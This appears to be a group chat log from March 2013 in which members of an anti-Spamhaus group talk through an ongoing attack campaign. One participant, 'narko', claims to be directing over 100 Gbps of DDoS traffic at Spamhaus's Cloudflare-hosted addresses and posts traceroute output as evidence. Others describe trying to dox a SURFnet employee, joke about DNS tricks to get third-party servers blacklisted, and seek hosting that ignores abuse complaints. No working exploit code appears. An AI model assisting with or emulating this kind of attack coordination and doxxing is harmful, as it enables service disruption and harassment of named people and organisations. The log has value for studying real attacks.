3558[19.03.2013 20:47:22] eDataKing: or one of those
3559[19.03.2013 20:47:25] Antitheist: and joseph dickens?
3560[19.03.2013 20:47:27] narko: joseph dickens
3561[19.03.2013 20:47:29] eDataKing: maybe it was markos I saw
3562[19.03.2013 20:47:37] narko: andrei stanchevici
3563[19.03.2013 20:47:40] narko: eternity _
3564[19.03.2013 20:47:41] narko: goo
3565[19.03.2013 20:47:44] narko: dufus_svk
3566[19.03.2013 20:47:44] eDataKing: I know who Joe is and I would trust him
3567[19.03.2013 20:48:15] Antitheist: MikeRomero?
3568[19.03.2013 20:48:21] eDataKing: I saw Goo post, he went to the IRC
3569[19.03.2013 20:48:47] NM: Eternity is good guy
3570[19.03.2013 20:48:59] NM: I invited him
3571[19.03.2013 20:49:01] Antitheist: eternity posts on irc
3572[19.03.2013 20:49:06] Antitheist: hes legit
3573[19.03.2013 20:49:25] NM: :))))
3574[19.03.2013 20:49:30] eDataKing: I haven't seen a leak yet
3575[19.03.2013 20:49:42] eDataKing: and I run the hell out of Alerts and Twitter searches
3576[19.03.2013 20:49:47] Antitheist: one thing is how they knew that you are behind stophaus
3577[19.03.2013 20:49:51] narko: the FBI doesnt post on twitter
3578[19.03.2013 20:49:54] Antitheist: or you didnt hide it?
3579[19.03.2013 20:50:15] eDataKing: I have been posted to nanae about Stophaus for years
3580[19.03.2013 20:50:45] eDataKing: but it was at Stophaus.org and there was a site for it
3581[19.03.2013 20:50:53] Antitheist: i knew why they assumed its russian "cybercriminals"
3582[19.03.2013 20:51:16] Antitheist: since stophaus moved to Yuri's corbina reverse proxy which is also used for botnets
3583[19.03.2013 20:51:25] eDataKing: they can assume al they want, but there are people from many countries represented in this group and even actively helping the cause
3584[19.03.2013 20:51:27] NM: :)
3585[19.03.2013 20:51:57] eDataKing: so they were WRONG because they were misdirecting to avoid the real issue so they could make STOPhaus appear to be part of my rants on nanae over the past few years
3586[19.03.2013 20:52:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well. thats their fault
3587[19.03.2013 20:52:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as the rest of the world doesn't even know what nanae is
3588[19.03.2013 20:52:41] eDataKing: that has been their fault for 12 years lol
3589[19.03.2013 20:52:55] eDataKing: nanae is not for the world
3590[19.03.2013 20:53:03] eDataKing: they are trying to hide that group
3591[19.03.2013 20:53:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sure i've heard of it when i worked at xs4all ... 1996-2001 or so
3592[19.03.2013 20:53:14] eDataKing: they hate that GG is even around
3593[19.03.2013 20:53:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: back then, it may have been something like nanog was until a few years ago
3594[19.03.2013 20:53:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now, it has 30 people on it
3595[19.03.2013 20:53:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
3596[19.03.2013 20:53:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: most visitors are probably googlebot :P
3597[19.03.2013 20:53:29] eDataKing: it is the first point of report for SPamhaus volunteers
3598[19.03.2013 20:53:41] eDataKing: Spamhaus gathers data from that group and has since 1998
3599[19.03.2013 20:54:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah so they picked a protocol that you got feeds to for free with your transit from kpnqwest
3600[19.03.2013 20:54:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: to keep things secret ... uhuh :P
3601[19.03.2013 20:54:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their fault, again :P
3602[19.03.2013 20:54:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: see back in the days when i started doing bgp networks (First for other carriers etc)
3603[19.03.2013 20:54:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: most transit providers actually would offer you free nntp full feeds with the bgp session
3604[19.03.2013 20:54:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3605[19.03.2013 20:54:53] eDataKing: who knows if it was supposed to be secret at first, but they sure try to avoid people being aware of what it's purpose is]
3606[19.03.2013 20:55:11] eDataKing: that is why they use code and post lipsum and things
3607[19.03.2013 20:55:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i doubt they were even on it from the start
3608[19.03.2013 20:55:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: how long do those archives go back
3609[19.03.2013 20:55:21] eDataKing: they are manipulating the SERPs for the content they want to appear
3610[19.03.2013 20:55:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: google wasn't around in those days, thats for sure
3611[19.03.2013 20:55:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
3612[19.03.2013 20:55:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: google only showed up about a decade after is started doing computing.
3613[19.03.2013 20:55:41] eDataKing: no, this is a different day for sure
3614[19.03.2013 20:55:56] eDataKing: but didn't you and I change with the web some? lol
3615[19.03.2013 20:56:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: back then it was all altavista, and infoseek..
3616[19.03.2013 20:56:21] eDataKing: that was before me
3617[19.03.2013 20:56:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah.. i frequently have to remind the noobs that it doesn't matter that our websites look like its 1996
3618[19.03.2013 20:56:32] eDataKing: I was still trying to be 2pac or something
3619[19.03.2013 20:56:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as we were around before google
3620[19.03.2013 20:56:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3621[19.03.2013 20:56:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the same thing goes for people complaining back in the days that <TABLE> wasn't indexed by google
3622[19.03.2013 20:56:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats not our fault, thats google's fault
3623[19.03.2013 20:57:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3624[19.03.2013 20:57:04] eDataKing: yup
3625[19.03.2013 20:57:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we and html 2.0 definately got around before google inc haha
3626[19.03.2013 20:57:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if their bot doesn't index it, its their problem
3627[19.03.2013 20:57:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
3628[19.03.2013 20:57:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: when i started doing internets, http was still rpetty much 'experimental' ;)
3629[19.03.2013 20:57:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: mozilla 0.9
3630[19.03.2013 20:57:38] eDataKing: so, what is down right now? Anything?
3631[19.03.2013 20:57:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: a lot of stuff still was on gopher and ftp
3632[19.03.2013 20:57:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: http usually was on port 8080 or 8000
3633[19.03.2013 20:58:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not even on 80 yet
3634[19.03.2013 20:58:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and 1 website per ip as virtualhosting only came with http 1.0
3635[19.03.2013 20:58:06] eDataKing: there is no talk on twitter about a current attack
3636[19.03.2013 20:58:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: those who need to know, know :P
3637[19.03.2013 20:58:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: xs4all knows :P
3638[19.03.2013 20:58:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3639[19.03.2013 20:58:25] eDataKing: gotcha
3640[19.03.2013 20:59:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: xs4all is still a major force in internet policy making in the eu :P
3641[19.03.2013 20:59:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as long as they get the hint that ehm... spamhaus is a bunch of criminals and 'fighting spam' should not be done -that- way anyway, its fine
3642[19.03.2013 20:59:57] eDataKing: that's what counts
3643[19.03.2013 21:00:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as for surfnet... maybe i should have mentioned wim whatshisname as a direct responsible contact in those letters :P
3644[19.03.2013 21:00:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as by now probably some governmetn officials are going 'hmm... computer stuff wut do'
3645[19.03.2013 21:02:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://www.youtube.com/watch?v=lwoSFQb5HVk <- spamhaus having a party :P
3646[19.03.2013 21:04:15] eDataKing: maybe
3647[19.03.2013 21:04:17] eDataKing: http://stophaus.com/forumdisplay.php?125-Wim-Biemolt-%28SURFnet%29
3648[19.03.2013 21:05:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
3649Main Info for Wim Biemolt (SURFnet)
3650
3651 The is the main information for this NANAE abuser and libel poster that works closely with Spamhaus if not a Spamhaus Operative.
3652[19.03.2013 21:05:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he posts on nanae ?
3653[19.03.2013 21:05:36] Antitheist: eDataKing remember, we spoke about him
3654[19.03.2013 21:05:45] Antitheist: he is spamhaus.as1101.net admin
3655[19.03.2013 21:06:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: actually he's admin of all asn's 1100-1199
3656[19.03.2013 21:06:09] Antitheist: some CERT-NL guy
3657[19.03.2013 21:06:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they have the whole god damn block
3658[19.03.2013 21:06:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well.. he works for surfnet.
3659[19.03.2013 21:06:30] eDataKing: that's right
3660[19.03.2013 21:06:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: surfnet is the thing that runs the network for all dutch state schools and universities
3661[19.03.2013 21:06:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: tricky thing is, they're supposed to do only -that-
3662[19.03.2013 21:06:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as they operate on tax money
3663[19.03.2013 21:06:55] narko: well
3664[19.03.2013 21:06:56] eDataKing: I really think he owns surfnet tbh
3665[19.03.2013 21:06:58] narko: spamhaus is non-profit
3666[19.03.2013 21:07:01] narko: that's a good excuse, no?
3667[19.03.2013 21:07:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he can't own surfnet as the state owns surfnet
3668[19.03.2013 21:07:06] eDataKing: I haven't quite confirmed that, but it does look like it a lot
3669[19.03.2013 21:07:18] eDataKing: oh yeah. someone actually corrected me yesterday
3670[19.03.2013 21:07:26] eDataKing: Michael something is the CEO of Surfnet
3671[19.03.2013 21:07:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: spamhaus is not an approved educational facility by the dutch minister of education
3672[19.03.2013 21:07:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now is it :P
3673[19.03.2013 21:07:35] eDataKing: so surfnet is a government upstream
3674[19.03.2013 21:07:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: it doesn't look much like a school
3675[19.03.2013 21:07:37] Antitheist: yes that was me
3676[19.03.2013 21:07:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3677[19.03.2013 21:07:51] Antitheist: we tried to dox who is that Wim
3678[19.03.2013 21:08:01] eDataKing: I recall now
3679[19.03.2013 21:08:10] eDataKing: I know he is extremely important at surfnet then
3680[19.03.2013 21:20:25] narko: spamhaus stopped posting SBLs?
3681[19.03.2013 21:21:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they did?
3682[19.03.2013 21:22:08] narko: there's no new SBL in 2 hours
3683[19.03.2013 21:22:17] narko: they've been posting every minute all day
3684[19.03.2013 21:22:41] eDataKing: wow
3685[19.03.2013 21:22:48] eDataKing: :)
3686[19.03.2013 21:23:12] narko: it could be because i got a lot of their ips nullrouted now :P
3687[19.03.2013 21:23:18] narko: smtp-ext-layer-b
3688[19.03.2013 21:23:21] narko: the switch ip
3689[19.03.2013 21:23:26] narko: and two more
3690[19.03.2013 21:23:40] eDataKing: possibly, something will have to be said as it will be noticed by someone soon
3691[19.03.2013 21:24:01] eDataKing: I am watching everywhere on the web
3692[19.03.2013 21:24:06] eDataKing: not much chatter yet
3693[19.03.2013 21:24:42] eDataKing: everywhere is a strong word, but you know what I mean
3694[19.03.2013 21:25:10] eDataKing: using Alerts, Monitter, and a FB Search tool
3695[19.03.2013 21:25:34] narko: they also did not delist my site ip after nameservers were changed
3696[19.03.2013 21:25:47] narko: i don't know if it's because they're down.. or because they just don't like me
3697[19.03.2013 21:26:08] eDataKing: I have had SBLs sit there for months
3698[19.03.2013 21:26:41] eDataKing: but usually they will delist
3699[19.03.2013 21:26:56] eDataKing: Sven is still listed and I haven't had content on a server there in months
3700[19.03.2013 21:27:09] narko: lol
3701[19.03.2013 21:29:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we never tell them to remove it
3702[19.03.2013 21:29:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i can't quite see why we should help them to maintain their illegal database
3703[19.03.2013 21:30:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i don't want to be removed from it, i want it shut down
3704[19.03.2013 21:30:59] narko: i just need different customers
3705[19.03.2013 21:31:16] narko: need to learn chinese ;) then get only customers from Russia and China and no one will even be affected by my SBL listings
3706[19.03.2013 21:31:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: your transits..
3707[19.03.2013 21:31:41] narko: i'm moving host anyway
3708[19.03.2013 21:31:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just get your own network.
3709[19.03.2013 21:31:56] narko: i can't afford it
3710[19.03.2013 21:31:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: drop a line to ours :P
3711[19.03.2013 21:32:06] narko: i run my host company since FEB 2012 and i am still losing like 350$ per month lol
3712[19.03.2013 21:32:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we've been doing it commercially since 1996 on 'cb3rob'
3713[19.03.2013 21:32:34] eDataKing: how much would that be?
3714[19.03.2013 21:32:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and well.. there are times where it runs at a loss :P
3715[19.03.2013 21:32:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and there are times where it makes heaps :P
3716[19.03.2013 21:32:55] narko: i have not had a single month
3717[19.03.2013 21:33:01] narko: where the costs of servers+licenses were covered..
3718[19.03.2013 21:33:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you don't have your own servers either/
3719[19.03.2013 21:33:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ?
3720[19.03.2013 21:33:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just reselling?
3721[19.03.2013 21:33:32] narko: rent server, install cpanel, advertise
3722[19.03.2013 21:33:33] narko: (y)
3723[19.03.2013 21:33:45] eDataKing: agreed
3724[19.03.2013 21:33:54] narko: but I think soon i will buy my own servers and colo
3725[19.03.2013 21:33:56] narko: it will be cheaper
3726[19.03.2013 21:34:04] eDataKing: agreed as well
3727[19.03.2013 21:34:06] narko: the problem is
3728[19.03.2013 21:34:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i'd say thats the only way to do it :P
3729[19.03.2013 21:34:19] narko: when I am renting servers and the hosts say "You are abusing" I can just move
3730[19.03.2013 21:34:23] narko: if i am doing colo it's not so simple
3731[19.03.2013 21:34:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats why you're not gonan use -their- network
3732[19.03.2013 21:34:44] narko: no one will even sell me a /24
3733[19.03.2013 21:34:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just their electricity and fibers and racks
3734[19.03.2013 21:35:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: guess a /24 should not be an issue in here.
3735[19.03.2013 21:35:06] eDataKing: Level 3 has a ton of upstream available
3736[19.03.2013 21:35:12] eDataKing: and they are 20 mins away from me
3737[19.03.2013 21:35:12] narko: already asked in here 3 times
3738[19.03.2013 21:35:16] narko: no one will sell me a /24 :P lol
3739[19.03.2013 21:35:41] narko: ah NEW SBL
3740[19.03.2013 21:35:45] narko: http://www.spamhaus.org/sbl/query/SBL179379
3741[19.03.2013 21:35:48] narko: infium ip got listed again
3742[19.03.2013 21:35:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gee what a surprise
3743[19.03.2013 21:36:10] narko: for antispamhaus.org
3744[19.03.2013 21:36:13] narko: nott even the same domain
3745[19.03.2013 21:36:17] narko: ;(
3746[19.03.2013 21:36:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not even ours? :P
3747[19.03.2013 21:36:39] Antitheist: only /32?
3748[19.03.2013 21:36:44] narko: for now
3749[19.03.2013 21:36:46] narko: wait another 5 minutes
3750[19.03.2013 21:36:49] Antitheist: what is this..we want /24s!
3751[19.03.2013 21:36:49] narko: it'll be the entire block
3752[19.03.2013 21:37:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah so now andrew is also 'andrey kochetov'
3753[19.03.2013 21:37:04] narko: lol
3754[19.03.2013 21:37:16] narko: antispamhaus.org isn't even up
3755[19.03.2013 21:37:18] narko: 403 forbidden
3756[19.03.2013 21:37:34] narko: if I make some anti-spamhaus A records and point them to their xs4all IPs can i get them to blacklist themself? :P
3757[19.03.2013 21:37:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: get infiumhost in here.
3758[19.03.2013 21:37:57] eDataKing: now I think it is apparent what I have been bitching about for years
3759[19.03.2013 21:38:04] eDataKing: sorry that happened narko
3760[19.03.2013 21:45:42] Antitheist: those retards will list anything that stophaus/antispamhaus resolves to
3761[19.03.2013 21:46:05] Antitheist: i say fuck yeah, lets put google's smtps there for fun
3762[19.03.2013 21:49:56] eDataKing: @spamhaus cbl abuseat org out of service , not open in the web browser,
3763[19.03.2013 21:50:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gee... i wonder how that happened :P
3764[19.03.2013 21:50:33] eDataKing: lol
3765[19.03.2013 21:51:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: true :P
3766[19.03.2013 21:51:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and hotmail :P
3767[19.03.2013 21:51:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: andsmtp-ext-layer.spamhaus.org
3768[19.03.2013 21:51:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
3769[19.03.2013 21:55:15] eDataKing: (beer)
3770[19.03.2013 21:57:32] eDataKing: Ken Magill finally got his piece, but guess from who? Bastard. I really had hopes for him :(
3771
3772http://www.magillreport.com/Spamhaus-Provides-First-Batch-of-Answers/
3773[19.03.2013 22:19:39] eDataKing: OMG, this one is ROYAL: http://www.spamhaus.org/news/article/13/
3774[19.03.2013 22:19:52] eDataKing: Spammers release a new virus specifically to attack SPamhaus lol
3775[19.03.2013 22:20:37] eDataKing: the funniest part is that I missed the same thing the poster missed...that was from 2003
3776[19.03.2013 22:20:38] eDataKing: oops
3777[19.03.2013 22:26:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: excellent idea :P
3778[19.03.2013 22:32:57] Antitheist: LOL, cloudflare fucked spamhaus privacy violation crimes
3779[19.03.2013 22:33:12] Antitheist: since it adds email protection by default
3780[19.03.2013 22:33:20] Antitheist: http://www.spamhaus.org/sbl/query/SBL179379
3781[19.03.2013 22:33:32] Antitheist: Registrant Phone:+7.9160000000
3782Registrant Email:[email protected]
3783[19.03.2013 22:33:47] Antitheist: when you try to mouseover it, it will tell you about this cloudflare feature
3784[19.03.2013 22:34:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Registrant Phone:+7.9160000000
3785Registrant Email:ak-183@yandex.ru
3786[19.03.2013 22:34:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no need to mouseover it
3787[19.03.2013 22:34:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats all i see
3788[19.03.2013 22:34:34] Antitheist: for browsers, i try with wget
3789[19.03.2013 22:34:39] Antitheist: i scrape SBLs
3790[19.03.2013 22:34:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: firefox 17 on mac
3791[19.03.2013 22:35:11] Antitheist: yeah, but automatic bots will have that [email protected] thingie
3792[19.03.2013 22:35:30] Antitheist: without javascript cloudflare wont show you the email
3793[19.03.2013 22:41:37] Antitheist: which i assume will also break their partners software that read SBLs in the same way
3794[19.03.2013 22:45:09] Antitheist: spamhaus.org. 14992 IN TXT "v=spf1 ip4:82.94.216.224/27 ~all"
3795[19.03.2013 22:45:32] Antitheist: probably the site is somewhere on that dirty /27
3796[19.03.2013 22:52:22] narko:
3797 In addition to the records visible on the 'public' ROKSO site, ROKSO has 'classified' sections on many of the listed spammers which contain information too sensitive to be published. These 'classified' records include data on criminal activities and evidence for use in prosecution.
3798
3799Agencies with password-protected access to a secure 'classified' version of ROKSO include:
3800
3801 (UK) Scotland Yard CCU, SOCA and the OFT.
3802[19.03.2013 22:52:43] narko: the UK police knows about the site that breaks the UK laws..?
3803[19.03.2013 22:54:17] eDataKing: Who knows, Facebook has that policy and I know a few admins that have a special backend for "VIP Guests" in their regard. The forum has Mods for crying out loud. What good does that type of feature do when it is not being used OR if the data there is merely a freebie and saves detectives workloads.
3804[19.03.2013 22:54:56] narko: oh no
3805[19.03.2013 22:55:06] narko: search stophaus on google and spamhaus news post is above stophaus.com
3806[19.03.2013 22:57:28] eDataKing: like that happened naturally
3807[19.03.2013 22:57:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ;; QUESTION SECTION:
3808;fdsfsda. IN TXT
3809
3810;; ANSWER SECTION:
3811fdsfsda. 38400 IN TXT "We" "STRONGLY" "advise" "not" "to" "outsource" "your" "filtering" "to" "the" "criminal" "spamhaus" "gang," "http://www.stophaus.com/"
3812[19.03.2013 22:57:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm thats not good :P
3813[19.03.2013 22:58:02] eDataKing: That is how they are able to run smear campaigns so effectively
3814[19.03.2013 23:20:40] narko: http://www.seychellesoffshore.com/
3815[19.03.2013 23:20:43] narko: trustable company?
3816[19.03.2013 23:22:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if spamhaus uses them its probably good haha
3817[19.03.2013 23:22:20] narko: I will use them
3818[19.03.2013 23:22:26] narko: because ip-as.com only works with registered companies
3819[19.03.2013 23:22:31] narko: (angry)
3820[19.03.2013 23:23:33] Antitheist: ip-as sells only PA now
3821[19.03.2013 23:23:59] narko: everyone only sells PA and i dont know the difference between PI and PA so i'm just going to buy PA
3822[19.03.2013 23:24:43] Valeriy Uhov: provider can take PA back after spamhaus list it haha
3823[19.03.2013 23:24:55] Valeriy Uhov: because then they often list all providers PA
3824[19.03.2013 23:25:40] narko: well no one will sell me PI
3825[19.03.2013 23:26:12] Valeriy Uhov: only if buy LIR
3826[19.03.2013 23:26:17] Valeriy Uhov: with own PA
3827[19.03.2013 23:26:30] narko: do you know someone that you can make me into contact with?
3828[19.03.2013 23:27:28] Antitheist: some romanian LIRs dont care about spamhaus
3829[19.03.2013 23:27:31] Antitheist: try ip.ro
3830[19.03.2013 23:27:35] narko: i won't be listed on spamhaus
3831[19.03.2013 23:27:37] Valeriy Uhov: ip.ro cares already
3832[19.03.2013 23:27:37] narko: well
3833[19.03.2013 23:27:41] narko: maybe some /32
3834[19.03.2013 23:27:49] narko: but i don't intend to have my /24 listed on spamhaus
3835[19.03.2013 23:28:09] narko: I don't allow spam :)
3836[19.03.2013 23:28:35] Antitheist: lol as if it matters for anything
3837[19.03.2013 23:30:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we'll register you some pi later on
3838[19.03.2013 23:30:48] narko: \o/ send me your swift and iban!
3839[19.03.2013 23:30:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: either way its better to just build your network for native ipv6
3840[19.03.2013 23:31:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and if ipv4 'also just so happens to work' thats fine
3841[19.03.2013 23:31:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if not, too bad
3842[19.03.2013 23:31:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ipv4 is antique as far as im concerned
3843[19.03.2013 23:31:30] narko: spamhaus can't ban ipv6 can they
3844[19.03.2013 23:31:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: spamhaus doesn't even know how to spell ipv6 :P
3845[19.03.2013 23:31:49] narko: (facepalm)
3846[19.03.2013 23:32:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the guy barely knows how to turn a computer on
3847[19.03.2013 23:32:26] narko: they worked out how to register on cloudflare.comafter 3 days
3848[19.03.2013 23:32:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: -5- :P
3849[19.03.2013 23:32:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we started on friday :P
3850[19.03.2013 23:32:43] narko: lol
3851[19.03.2013 23:33:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah and they claim andrew is an idiot spammer with a mental problem... but in that case isn't it a bit weird that an idiot with a mental problem keeps your fucking 'ddos protected hosting provider' down for like... DAYS
3852[19.03.2013 23:34:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
3853[19.03.2013 23:34:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their logic does not compute
3854[19.03.2013 23:34:29] eDataKing: lol
3855[19.03.2013 23:43:05] narko: i don't understand this
3856[19.03.2013 23:43:16] narko: how can cloudflare take 100gbps of udp and latency is not even increased by 1ms
3857[19.03.2013 23:47:05] Antitheist:http://www.apricot2013.net/__data/assets/pdf_file/0009/58878/tom-paseka_1361839564.pdf
3858[19.03.2013 23:47:19] Antitheist: CloudFlare has seen DNS reflection attacks hit 100Gbit traffic globally
3859[19.03.2013 23:47:23] Antitheist: they are used to it
3860[19.03.2013 23:47:49] narko: when they were hosting at rethem hosting
3861[19.03.2013 23:47:52] narko: I took down sprint
3862[19.03.2013 23:47:54] narko: i took down level3
3863[19.03.2013 23:47:56] narko: i took down cogent
3864[19.03.2013 23:48:06] narko: but cloudflare nothing!
3865[19.03.2013 23:48:26] narko: back in 2009 cloudflare went down with 10gbps
3866[19.03.2013 23:48:28] narko: all down..
3867[19.03.2013 23:49:34] narko: o i'm causing some dropped packets now :P
3868[19.03.2013 23:56:06] Cali: narko, was it you who DDoSed us like a year and half ago ? :D
3869[19.03.2013 23:56:14] narko: what network?
3870[19.03.2013 23:56:27] narko: or site
3871[19.03.2013 23:56:32] narko: sent it me in private chat and i can tell you
3872[20.03.2013 00:05:39] narko: http://i.imgur.com/M2mbNE0.png
3873[20.03.2013 00:05:44] narko: Spamhaus cloudflare current status
3874[20.03.2013 00:05:48] narko: with over 100Gbps of attack traffic
3875[20.03.2013 00:07:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm does this affect other cloudflare customers, as in that case its bye bye spamhaus pretty soon
3876[20.03.2013 00:07:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3877[20.03.2013 00:07:49] narko: i dont know
3878[20.03.2013 00:07:56] narko: i hope so because i cant keep such traffic up for a long time
3879[20.03.2013 00:08:02] narko: it's probably closer to 200 than 100 Gbps
3880[20.03.2013 00:08:07] Cali: it will be harder than that I think.
3881[20.03.2013 00:09:35] Cali: no more icmp @cloudflare?
3882[20.03.2013 00:09:52] narko: 7 * * * Request timed out.
38838 * * * Request timed out.
38849 * * * Request timed out.
388510 37 ms * * 190.93.242.93
388611 * * * Request timed out.
388712 * * * Request timed out.
388813 36 ms *
3889[20.03.2013 00:10:02] narko: tracert to 190.93.242.93 ^
3890[20.03.2013 00:10:49] Cali: yeah but the port 80 still responds.
3891[20.03.2013 00:10:57] narko: yes
3892[20.03.2013 00:11:04] narko: the loss is much smaller on TCP Ping than ICMP Ping
3893[20.03.2013 00:11:44] narko: but I think the entire cf network is affected ?
3894[20.03.2013 00:11:53] narko: i'm seeing the same loss on spamhaus's other Ips
3895[20.03.2013 00:15:15] narko: lol
3896[20.03.2013 00:15:16] narko: http://www.spamhaus.org/sbl/query/SBL179380
3897[20.03.2013 00:15:18] narko: now they blocked yandex
3898[20.03.2013 00:15:27] narko: http://www.spamhaus.org/sbl/query/SBL179321
3899[20.03.2013 00:15:34] narko: and another corbina block
3900[20.03.2013 00:15:47] Antitheist: lol!!!
3901[20.03.2013 00:15:55] Antitheist: next step - cloudflare dns
3902[20.03.2013 00:16:16] Cali: but the site still replies.
3903[20.03.2013 00:16:24] Cali: btw, they use google MX now.
3904[20.03.2013 00:16:29] Antitheist: Domain Name:STOPHAUS.ORG
3905Created On:15-Mar-2012 01:53:30 UTC
3906Last Updated On:16-Mar-2013 01:23:26 UTC
3907Expiration Date:15-Mar-2014 01:53:30 UTC
3908Sponsoring Registrar:EvoPlus Ltd. (R1823-LROR)
3909Status:CLIENT HOLD
3910[20.03.2013 00:16:34] narko: yes but it will be nullrouted soon unless cloudflare are completely stupid
3911[20.03.2013 00:16:42] Antitheist: ORG?! did they ehmm...query the wrong domain lol
3912[20.03.2013 00:16:58] Cali: but it would be like cloudflare failed to their mission.
3913[20.03.2013 00:17:07] Cali: to be honest I don't think they'll give up that way.
3914[20.03.2013 00:17:13] narko: they are probably on the $200 package , but the only other option is $2000
3915[20.03.2013 00:17:21] narko: no one will tkae 200gbps of traffic for $200 or $2000 :)
